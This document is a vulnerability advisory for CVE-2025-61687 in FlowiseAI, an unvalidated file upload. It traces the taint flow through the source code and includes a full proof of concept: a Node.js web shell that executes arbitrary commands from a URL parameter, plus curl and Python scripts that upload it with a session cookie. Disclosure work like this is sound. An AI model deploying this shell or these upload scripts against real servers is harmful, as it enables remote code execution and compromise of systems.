CVE-2025-61687 — flowise

Summary

A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).

Details

The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.

The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.

Taint Flow

• Taint 01: Route Registration
  POST file requests are routed to the controller via Multer
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8

• Taint 02: Multer Settings
  Uploaded files are stored temporarily before further handling
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954

• Taint 03: Controller
  Receives the file from Multer and delegates to the service
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11

• Taint 04: Service Layer
  Processes the file and sends results back to controller
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16

• Taint 05: createFileAttachment
  Extracts metadata, moves file to permanent storage
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126

• Taint 06: File Save Path
  Creates storage directory and saves file
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541

• Taint 07: File Filtering
  Filters dangerous characters in file names but does not reject malicious content
  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111

PoC

shell.js (Node.js Web Shell)

const { exec } = require('child_process');
const http = require('http');

const server = http.createServer((req, res) => {
    const url = new URL(req.url, 'http://localhost');
    const cmd = url.searchParams.get('cmd');

    if (cmd) {
        console.log(`Executing: ${cmd}`);
        exec(cmd, (error, stdout, stderr) => {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            if (error) {
                res.end(`Error: ${error.message}\n${stderr || ''}`);
            } else {
                res.end(stdout || 'Command executed successfully');
            }
        });
    } else {
        res.writeHead(200, {'Content-Type': 'text/html'});
        res.end(`
            <h1>Node.js Web Shell</h1>
            <p>Use ?cmd=command to execute</p>
            <p>Example: ?cmd=id</p>
        `);
    }
});

const PORT = 8888;
server.listen(PORT, '0.0.0.0', () => {
    console.log(`Shell running on port ${PORT}`);
    console.log(`Access: http://localhost:${PORT}?cmd=id`);
});

curl Upload

curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \
  -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \
  -F "[email protected];type=application/javascript"

Python Upload Script

import requests
import uuid

TARGET_URL = "http://localhost:3000"
CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc"
TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0"
CHAT_ID = str(uuid.uuid4())

def upload_shell():
    url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}"
    headers = {'Cookie': f'jwt={TOKEN}'}
    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}
    r = requests.post(url, headers=headers, files=files)

    if r.status_code == 200:
        print("[✓] Upload success")
        print(r.text)
    else:
        print(f"[✗] Upload failed ({r.status_code})")
        print(r.text)

if __name__ == "__main__":
    upload_shell()

Impact

An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.